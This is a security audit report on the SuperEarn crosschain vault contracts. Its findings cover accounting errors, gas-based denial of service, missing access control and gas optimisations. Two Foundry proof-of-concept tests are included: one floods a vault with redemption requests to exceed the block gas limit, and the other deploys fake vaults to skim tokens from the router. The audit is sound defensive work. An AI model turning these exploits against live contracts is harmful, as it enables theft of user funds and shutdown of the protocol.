SuperEarn: Crosschain Review

Description

RemoteVault.totalAssets should return the amount of underlying asset held by the vault. The RemoteVault.assetsInTransitToOrigin returns an amount of USDT instead, which is the denomination bridged back and forth between OriginVault and RemoteVault.

As a result, the value returned by RemoteVault.totalAssets is incorrect, causing errors in the asset to share conversion within the core ERC4626 methods.

Recommendation

Within RemoteVault.totalAssets, convert the result of assetsInTransitToOrigin() to the vault's asset.

Description

RemoteVault._depositToYearn is triggered by a call to the permissioned RemoteVault.depositToYearn method. Such method is used to make a RemoteVault instance deposit a specified amount of assets into the integrated Yearn vault.

The method incorrectly converts assets to shares without taking into consideration their relative exchange rates: in particular, it both ignores the conversion rates between assets and CooldownVault shares, and between the latter and Yearn vault shares.

Becasue of the above, depending on the exchange rates, the obtained minSharesOut may be over- or under-estimated by a wide margin, resulting in either:

• A larger slippage margin than desired, which may result in greater financial losses than acceptable
• A smaller slippage margin than desired, which will trigger unexpected transaction failures.

Recommendation

In order to correctly convert an amount of assets to Yearn vault shares, the method should:

1. Convert assets to CooldownVault shares --> use CooldownVault.convertToShares
2. Convert CooldownVault shares the Yearn vault shares --> use Vault.pricePerShare to calculate the corresponding amount of Yearn vault shares

In order to maintain consistency with the RemoteVault._withdrawFromYearn method, the team could implement a SuperEarnRouter.previewDeposit which incapsulates the logic shown above and may be used within RemoteVault._depositToYearn.

Summary

RemoteVault inherits OpenZeppelin's ERC4626 implementation, overriding most of its functionality. Crucially, it overrides the ERC4626.totalAssets method to take into consideration different assets distributed to different parts of the system and not held by the RemoteVault specifically.

Part of such assets are account within the RemoteVault._calculatePendingCooldownAssets method, which is meant to account for any CooldownVault redemption request held by the contract.

Finding Description

The RemoteVault._calculatePendingCooldownAssets method calculates the amount of assets it has in pending redemption request in very inefficient manner:

1. It fetches all unclaimed redemption requests by calling cooldownVault.getUnclaimedRedeemRequestIds()
2. It loops through all of the received redemption requests, filtering for those unclaimed and which have receiver set to RemoteVault, accumulating the amount of assets.

This unbounded loop enables any account to leverage a bloat in the value returned by cooldownVault.getUnclaimedRedeemRequestIds() to make RemoteVault._calculatePendingCooldownAssets's gas consumption grow without a limit.

Specifically, a malicious actor is able to force the method to consume more than 60 million gas, making it impossible for anyone to call the method once the contract is deployed to Ethereum. The inability to correctly call RemoteVault.totalAssets implies the inability to call every core ERC4626 methods (mint, deposit, redeem, withdraw) as they all rely on internal calls to RemoteVault.totalAssets to determine the conversion price between assets and shares.

Analyzing further, the inability for RemoteVault.deposit, RemoteVault.withdraw and similar methods to be called implies a full shutdown of core protocol functionalities.

Note 1: Notice that, although anyone may claim a redemption request with a reasonable slippage control, and thus remove a given redemption request from the set of unclaimed ones, an attacker can prevent this by setting the redemption request's receiver to be an account which has been blacklisted on the USDC or USDT contract, which will make any transfer of tokens to such account fail, ultimately causing the redemption claim to fail as well.

Note 2: Notice that, following Ethereum's Fusaka upgrade in which EIP-7825 is to be deployed, a cap on any transaction's gas consumption of 16,777,216 will be applied. This implies that the analysis executed for this issue will have to be adjusted to account for such limit: roughly speaking, a reduction by 1/4th of the needed pending redemption requests is expected to suffice for the issue to manifest.

PoC

In order to verify the finding, we've created the following PoC in which we create a large number of redemption requests and measure the amount of gas required for the highlighted method to be executed, asserting that it is larger than Ethereum's block gas limit. Within our research, we've found that 14000 redemption requests will trigger a large enough gas consumption.

In order to execute the test case, use FOUNDRY_PROFILE=MAINNET forge t --mt test_RedeemVaultDoS.

pragma solidity >=0.8.29;
import "forge-std/src/Test.sol";import "@superearn/core/CooldownVault.sol";import "@superearn/core/CooldownVaultFactory.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "@openzeppelin/contracts/token/ERC20/ERC20.sol";import "@superearn/interface/ICooldownVault.sol";
// Simple mock ERC20 for testingcontract MockToken is ERC20 {    uint8 private _decimals;
    constructor(string memory name, string memory symbol, uint8 decimals_) ERC20(name, symbol) {        _decimals = decimals_;    }
    function mint(address to, uint256 amount) external {        _mint(to, amount);    }
    function decimals() public view override returns (uint8) {        return _decimals;    }}
contract PoC_GasDoS_CooldownRedemptions is Test {    CooldownVault public cooldownVault;    CooldownVaultFactory public factory;    MockToken public usdc;
    address public governance = makeAddr("governance");    address public attacker = makeAddr("attacker");    address public remoteVault = makeAddr("remoteVault");
    uint256 constant COOLDOWN_PERIOD = 7 days;    uint256 constant INITIAL_BALANCE = 1_000_000e6;    uint256 constant ATTACKER_DEPOSIT = 100e6;
    // Ethereum gas limit is 60M per block    uint256 constant ETH_BLOCK_GAS_LIMIT = 60_000_000;
    function setUp() public {        usdc = new MockToken("USDC", "USDC", 6);
        factory = new CooldownVaultFactory();
        usdc.mint(address(this), 1e4);        usdc.approve(address(factory), 1e4);
        cooldownVault = factory.createCooldownVault(            IERC20(address(usdc)),            "Cooldown USDC",            "cUSDC",            COOLDOWN_PERIOD,            governance        );
        usdc.mint(attacker, ATTACKER_DEPOSIT);    }
    // AUDIT copied here to simulate internall call jump instead of external call    function calculatePendingCooldownAssets(address receiver) public view returns (uint256) {        // Get all unclaimed redemption request IDs from CooldownVault        uint256[] memory unclaimedIds = cooldownVault.getUnclaimedRedeemRequestIds();
        uint256 totalPending = 0;        for (uint256 i = 0; i < unclaimedIds.length; i++) {            uint256 requestId = unclaimedIds[i];
            // Query individual redemption request details            (                address requestReceiver,                uint256 assets,                , // cooldownRequestedTime                , // cooldownPeriod                bool claimed            ) = cooldownVault.redeemRequests(requestId);
            // Only count requests where WE are the receiver and not yet claimed            if (requestReceiver == receiver && !claimed) {                totalPending += assets;            }        }
        return totalPending;    }
    function test_RedeemVaultDoS() public {        // attacker gets cooldown vault shares        vm.startPrank(attacker);        usdc.approve(address(cooldownVault), ATTACKER_DEPOSIT);        cooldownVault.deposit(ATTACKER_DEPOSIT, attacker);        vm.stopPrank();
        // create redemption requests        uint256 toCreate = 14_000;        vm.startPrank(attacker);        for (uint256 i; i < toCreate; i++) {            cooldownVault.redeem(1, attacker, attacker);        }        vm.stopPrank();
        // measure gas cost        uint256 gasStart = gasleft();        calculatePendingCooldownAssets(remoteVault);        uint256 gasUsed = gasStart - gasleft();
        assertGe(gasUsed, ETH_BLOCK_GAS_LIMIT);    }}

Recommendation

The system should completely avoid unbounded loops, especially over a end user controlled data set like the unclaimed redemption requests. The protocol should consider refactoring the system to allow spot queries (e.g. to a mapping) to retrieve the necessary data, in this case the total amount of assets sitting in unclaimed redemption requests attributed to a given account.

Description

After the strategy mint shares to incurs debt, after the timelock, anyone can trigger retrieveDebt to remove the totalDebt

Even the strategy underpays the debt, the full debt is removed: request.debtAssets.

Because the function has no access control, a malicious actor can intentionally select a time slot when the Cooldown strategy is short of asset to trigger the debt repayment and socialize the loss to the cooldown vault share holder.

if (alreadyClaimed) {            if (isDoneActually) {                // don't need to claim again                claimedAmount = Math.min(externalUnderlyingToken.balanceOf(address(this)), redeemUnderlyingAmount);            } else {                revert DebtClaimedNotYet();

Recommendation

Add access control and only allows operator to trigger retrieveDebt

Description

SuperEarnRouter may be used by end users to batch deposits from assets, into CooldownVault shares and then into a Yearn vault shares.

SuperEarnRouter.deposit must be provided with the target Yearn vault which represents the end target of the user's funds. Because the contract doesn't implement a whitelist to ensure that the method is provided only with protocol-deployed vaults, it is possible for anyone to skim any funds that may be held by the SuperEarnRouter.

Proof of Concept

Create a tests/SuperEarnRouter.t.sol test file, insert the following content and execute with forge t --mt test_deposit_stealFundsOnRouter

pragma solidity >=0.8.29;
import { Test } from "forge-std/src/Test.sol";import { SuperEarnRouter } from "../src/superearn/periphery/SuperEarnRouter.sol";
import "../src/mock/MockToken.sol";
contract SuperEarnRouterTest is Test {    SuperEarnRouter internal superEarnRouter;
    address registry;    address attacker;
    MockToken token;
    function setUp() public virtual {        registry = makeAddr("registry"); // used only in SuperEarnRouter.endorsedVault        attacker = makeAddr("attacker");
        superEarnRouter = new SuperEarnRouter(registry);        token = new MockToken("mock", "mock", 18);    }
    function test_deposit_stealFundsOnRouter() external {        // Attacker has 1 wei of tokens        uint256 attackerInitialBalance = 1;        token.mint(attacker, 1);
        // Some tokens are on router        uint256 routerBalance = 100e18;        token.mint(address(superEarnRouter), routerBalance);
        // Attacker deploys his contracts        vm.startPrank(attacker);        CooldownVault voidVault = new CooldownVault(address(token));        Vault yVault = new Vault(address(voidVault));
        // Attacker skims assets from router        token.approve(address(superEarnRouter), 1);        superEarnRouter.deposit(address(yVault), 1, attacker, 0);
        // Assert attacker received funds        assertEq(token.balanceOf(attacker), routerBalance + attackerInitialBalance, "attack failed");        assertEq(token.balanceOf(address(superEarnRouter)), 0, "router still has tokens");    }}
contract Vault {    address public cooldownVault;    constructor(address _cooldownVault) {        cooldownVault = _cooldownVault;    }    function token() external view returns(address) {return cooldownVault;}    function deposit(uint256,address) external pure returns(uint256) {return 1;}}
contract CooldownVault {    address public asset;    constructor(address _asset) {        asset = _asset;    }    function deposit(uint256,address) external view returns(uint256) {return 1;}    function approve(address,uint256) external {}}

Recommendation

Implement a vault whitelist and check the highlighted method's yVault parameter has been whitelisted.

Description

CrosschainAdapter.setAccountant may be used to change the CrosschainAdapter.accountant storage variable, which is fetched by SuperEarnMessageAgent.getTruePeerAssets and SuperEarnMessageAgent.getAssetsInTransit.

The highlighted SuperEarnMessageAgent methods are both used within OriginVault.totalAssets. As a consequence, a change to CrosschainAdapter.accountant will result in a complete reset of all crosschain assets accounting, unless special care is taken to recreate the current accounting state within the new accountant before it is set with CrosschainAdapter.setAccountant.

Recommendation

Consider removing the highlighted method and making the CrosschainAdapter.accountant value an immutable.

Description

ERC4626 ·maxDeposit(receiver) returns the amount of assets that can be deposited right now (the remaining capacity or delta), not the global total asset ceiling.

If totalUnderlying is greater than the remaining space (supplyAssetsCap),

Math.min(supplyAssetsCap, totalUnderlying) issupplyAssetsCap`

availableAssets = (supplyAssetsCap - Math.min(supplyAssetsCap, totalUnderlying));

And the availableAssets is zero. The strategy assumes maxDeposit returns the Total Cap, but it returns available cap.

The strategy will believe it has 0 available space to deposit, preventing adjustPosition from ever investing funds.

availableAssets = Math.min(availableAssets, MAX_SUPPLY_THRESHOLD);

Recommendation

function getSupplyCap() public view virtual override returns (uint256 supplyAssetsCap, uint256 availableAssets) {    supplyAssetsCap = metaMorpho.maxDeposit(address(this));    availableAssets = Math.min(supplyAssetsCap, MAX_SUPPLY_THRESHOLD);}

Description

the Uniswap v3/v4 TickMath docs tie those constants back to ·getSqrtRatioAtTick(MIN_TICK/MAX_TICK)`

https://docs.uniswap.org/contracts/v4/reference/core/libraries/TickMath

// v4 sqrt price bounds (Q64.96), same as Uniswap v3/v4 TickMathuint160 constant MIN_SQRT_RATIO = 4295128739;uint160 constant MAX_SQRT_RATIO =    1461446703485210103287273052203988822378723970342;

Currently the code hardcoded the MIN_SQRT_RATIO to incorrect value that does not the comply the Uniswap doc.

The incorrect hard-coded MIN_SQRT_RATIO can cause price-range math to break at extreme ticks, leading to mispriced swaps or reverted operations near pool boundaries.

Recommendation

uint160 internal constant MIN_SQRT_PRICE = 4295128739;

Description

OriginVault.emergencyFulfillRedeem may be used by an authorized party to fulfill an individual redemption request manually.

Based on the distribution of assets between OriginVault and RemoteVault, the highlighted method may revert with a SlippageExceeded error.

While assetsNeeded is calculated by taking a portion of asset.balanceOf(address(this)), assetsToLock goes through OriginVault.totalAssets which also takes into consideration remote assets. Because the slippage check at OriginVault#L810 is executed assetsNeeded and a portion of assetsToLock, in the case in which RemoteVault holds more assets than OriginVault, the mentioned check will fail consistently unless special action is taken.

Recommendation

Remove the slippage check: the highlighted method is intended to be used in emergency scenarios which may not need a slippage check entirely. In alternative, implement the slippage check as a caller-provided parameter which the outgoing amount of assets must be greater of.

Description

RemoteVault.setYearnVault may be used by a privileged account to change the RemoteVault.yearnVault storage variable.

In the case in which yearnVault != address(0) and a new vault is being assigned to such variable, the highlighted method requires that yearnVault.balanceOf(remoteVault) == 0. This implies that any account may transfer a minimal amount of shares to the contract to block the migration from being successfully executed.

Recommendation

Consider whether such method is indeed useful to the RemoteVault, given that its accounting is tightly tied to the utilized Yearn vault. If so, the method could transfer any shares it holds to msg.sender.

Description

The OriginVault.processRedemptionQueue function allows authorized accounts to fulfill pending redemption requests. The function accepts an asset amount limit and processes requests sequentially in FIFO (first-in, first-out) order until encountering a request that cannot be fully satisfied with the remaining allocation.

The protocol lacks a mechanism to cancel redemption requests, creating a blocking condition where smaller redemption requests become indefinitely stuck behind larger unfulfillable requests in the queue.

Recommendation

Implement one of the following solutions:

1. Cancellation mechanism: Add a cancelRedemptionRequest function allowing users to remove their requests from the queue, enabling them to resubmit with adjusted amounts if needed.
2. Skip logic: Modify processRedemptionQueue to skip over requests that exceed the remaining asset limit and continue processing subsequent fulfillable requests.

Description

OraklAssetPriceConverter.MIN_STABLECOIN_PRICE and OraklAssetPriceConverter.MAX_STABLECOIN_PRICE are defined with 8 units of decimal precision, which isn't guaranteed to match the decimals used by all price feeds.

Using a price feed with a different amount of decimals of fixed precision results in all calls to OraklAssetPriceConverter.getLatestData to fail with a PriceOutOfRange error.

Recommendation

In order to make the contract more flexible, these constants should be defined

Description

RemoteVault.emergencyCooldownVaultRedeem and RemoteVault.emergencyCooldownVaultClaim use the onlyManagers modifier instead of the onlyGovernance one.

Recommendation

Apply the onlyGovernance modifier to the highlighted methods and remove the onlyManagers modifier.

Description

The highlighted method assumes that assetAmount is expressed in the same decimals as USDT on the Kaia blockchain.

Recommendation

Modify the method take into account any possible difference in decimal precision between the two assets.

Description

tendTrigger in Morpho vault return false when emergencyExit is activated.

The same check is missing in ERC7540Vault.sol,

the impact is that even when the contract is in emergency mode, the offchain bot that relies on ERC7540Vault.sol still trigger harvest.

Recommendation

Add the check in ERC7540Vault.sol#tendTrigger function as well.

if (emergencyExit) return false;

Description

The code hardcode MIN_STABLECOIN_PRICE and MAX_STABLECOIN_PRICE upper and lower bound and the assumption is that the stablecoin will not depeg below 0.95.

If the stablecoin does depeg below 0.95, the oracle service is always DOSed.

https://coinmarketcap.com/academy/article/explaining-the-silicon-valley-bank-fallout-and-usdc-de-peg

In extreme example, USDC shortly depegs to 0.88 before.

Recommendation

Consider add a setter to set the MIN_STABLECOIN_PRICE and MAX_STABLECOIN_PRICE

Description

If the highlighted method is called with token parameter set to OriginVault.asset and the specified amount is accounted for within SuperEarnMessageAgent.getAssetsInTransit, such amount of assets will be double-counted permanently within OriginVault.totalAssets, leading to incorrect share pricing.

Recommendation

Prevent the method from transferring the vault's asset.

Description

The code always attempts to looping over all redemptionQueue items and the share holder can fill in the redemptionQueue with tiny shares to grow the redemptionQueue size infinitely and make the batchFulfillRedemptions not-callable.

Recommendation

Consider add a function to fill the individual redeem request and remove the request from the queue.

Description

getAmountByShares calls:

function getAmountByShares(uint256 shares) public view virtual override returns (uint256) {        return metaMorpho.previewMint(shares);    }

However, the function tries to evaluate the estimated current total asset.

previewMint(shares) answers: “how many ASSETS must I pay to mint exactly shares new shares right now?”

That’s the mint direction (assets→shares), with rounding up。

But we wants: how many ASSETS would I receive if I redeem them?

Recommendation

Call previewRedeem instead of previewMint when calling getAmountByShares

Description

Functions within OriginVault rely on unbounded loops to accumulate values needed for specific calculations, resulting in many areas in which the system's gas consumption may grow unexpectedly and potentially turn into a full DoS on the affected functions.

Recommendation

The protocol should heavily consider removing any unbounded loop within the system, especially those executed over data sets which may grow as a consequence of end-user interactions. The accumulators which used such loops should rely on values that are accumulated and stored within a contract's storage.

Description

CooldownVault.recover may be used by an authorized account to manually mint an amount of shares such that the asset to share exchange rate is set to 1. This will result in all vault depositors losing value they've accrued while providing liquidity to the vault.

Recommendation

Do not allow for manual share price manipulation, as shares appreciating with regards to assets is a common and expected behaviour of ERC4626-compliant vaults.

Description

BaseCooldownStrategy implements logic to allow for an authorized party to execute an arbitrary call. This functionality is implemented with 2 methods, BaseCooldownStrategy.submitExecution and BaseCooldownStrategy.acceptExecution.

The way in which these are implemented offer little to no benefit, as:

1. BaseCooldownStrategy.submitExecution and BaseCooldownStrategy.acceptExecution may be called by the same account with the governance role.
2. There is no minimum time delay between proposal and execution, as is typical, but a deadline is imposed.

Recommendation

The methods should be refactored to either:

1. Require accounts with different roles to call each method
2. Implement a timelock functionality which forces the methods to be called with a reasonable delay between each other.

Description

The highlighted comments present errors that should be fixed to ensure the documentation's correctness:

• Within UniversalSwapRouter::L186 : "Curve" should be corrected to "Uniswap"

Recommendation

Apply the suggestions provided in the section above.

Description

SafeERC20 and TransferHelper serve the same purpose so there is no need to use both of them within the same contract.

Recommendation

Select and use only one of the two libraries.

Description

CrosschainAdapter.sendAssets may be called by a SuperEarnMessageAgent instance of by an authorized vault to trigger a crosschain asset transfer.

After validating the caller and pulling the requested funds, the highlighted method will initiate the crosschain message accounting with a call to SuperEarnMessageAgent.notifyBridgeInitiated. Once the external call has been executed, only if peerAdapters[destinationChainId] != address(0) the method will actually trigger the entire crosschain message dispatch via the protocol's custom Runespear messaging format and CCIP integration.

While rather unlikely, if the caller were to provide a destinationId which hasn't been registered yet in the contract's storage, the SuperEarnMessageAgent.notifyBridgeInitiated method is triggered without a crosschain message actually being initiated.

Recommendation

Within the highlighted method, revert if peerAdapters[destinationChainId] == address(0) to disallow this edge case from being processed.

Description

The highlighted method calls agent.notifyBridgeInitiated(callingVault, ...).

The method's documentation states the first parameter to be the vault that must be notified of the bridge. Given that callingVault may be assigned either CrosschainAdapter.vault or CrosschainAdapter.agent, the provided parameter will be incorrect in the case in which the method is called by the latter.

Recommendation

Always provide CrosschainAdapter.vault to the call.

Description

SuperEarnMessageAgent.notifyBridgeInitiated is a no-op method with an empty body, except for validating that msg.sender == address(adapter).

Recommendation

Remove the method if it is not necessary or remove the access control.

Description

The highlighted modifiers duplicate code instead of utilizing the public view methods it defines.

Recommendation

In order to improve the code's readability and maintainability, consider using the public getter methods.

Description

CrosschainAdapter.sendAssets may only be called by CrosschainAdapter.agent or CrosschainAdapter.vault. The assignment of tokenSource at CrosschainAdapter#L255 can thus be simplified.

Recommendation

Modify the highlighted line of code to assign tokenSource = msg.sender.

Description

Within IERC7540.sol, the declaration of RedeemRequest event incorrectly names the last parameter to "assets" instead of "shares".

Recommendation

Rename the mentioned parameter.

Description

When OriginVault.setAgent is called, an infinite allowance of asset is given to the newly written agent. This approval is overwritten within OriginVault.depositToRemote.

Recommendation

Remove the unnecessary asset approval within OriginVault.depositToRemote.

Description

UniversalSwapRouter#L429-430 is unreachable code given that UniversalSwapRouter._swapExactInputSingleUniSwapV4 always creates a CallbackData struct with callbackData.settleUsingBurn = false.

Recommendation

Remove the dead code.

Description

HealthCheck.setGovernance isn't applied the onlyGovernance modifier.

Recommendation

Even though it is implemented by CommonHealthCheck.setGovernance, which implements proper access control for the highlighted method, the protocol should consider applying the modifier to keep the method consistent with all other methods.

Description

The ternary operator at the highlighted line of code isn't necessary, given that it has already been asserted that _amountNeeded > pendingInvested.

Recommendation

Remove the ternary operator and use _amountNeeded - pendingInvested.

Description

The IRunespearAgent + IBridgeAccountant design comment says:

// CRITICAL NOTE: now this assumes a single kind of assets (e.g. USDC)

The current runespear and cross-chain adapter does not track the bridge amount per token.

The token bridged out can be USDT or the asset.

address token = tokenType == SuperEarnV2Protocol.AssetType.USDT ? usdt : asset();

Recommendation

Support multiple token requires changes to the cross-chain protocol, so in the current codebase, the protocol should swap to targe token before bridging.

Description

The contract isn't fully IERC4626 compliant given that it:

1. may not return funds upon calls to CooldownVault.withdraw and CooldownVault.redeem.
2. changes the semantics of the values returned by such methods: they're now request ids instead of share or asset amounts.

Recommendation

The protocol should consider implementing ERC7540, as it is formally more correct for this contract.

Description

The highlighted allowance check within CooldownVaultFactory.createCooldownVault should be executed before a new instance of CooldownVault is deployed in order to reduce gas in the unlikely case in which such check triggers a revert.

Recommendation

Execute the allowance check before the CooldownVault deployment

Description

CooldownVault#L865 can be simplified by removing 10 ** _decimalsOffset() given that _decimalsOffset() == 1.

Recommendation

Apply the recommended simplifications.

Description

SuperEarnAccessControl._isContract is used only within permissioned methods to when writing values to storage. It is thus not strictly necessary to execute such check, given that the permissioned actor is able to verify beforehand whether a given account holds code or not.

Recommendation

Remove the method in order to reduce the gas consumption required for methods using such method internally.

Description

The highlighted try/catch block to decode a bytes array provided as a call argument can be entirely avoided by requiring the data parameter to be of SwapConfig[] type instead of bytes.

Recommendation

Change the type of the data argument in order to avoid having to make an external call to self and remove the highlighted try/catch block.

Description

Math.min(availUsdt, neededUsdt) is superfluous within the highlighted line of code, given that it has already been asserted that availUsdt >= neededUsdt.

Recommendation

Remove Math.min(availUsdt, neededUsdt) and use neededUsdt instead.

Description

The highlighted token transfers should be condensed into one, in order to avoid executing two separate external calls.

Recommendation

Modify the highlighted transfers to IERC20(token).safeTransferFrom(address(adapter), targetVault, amount).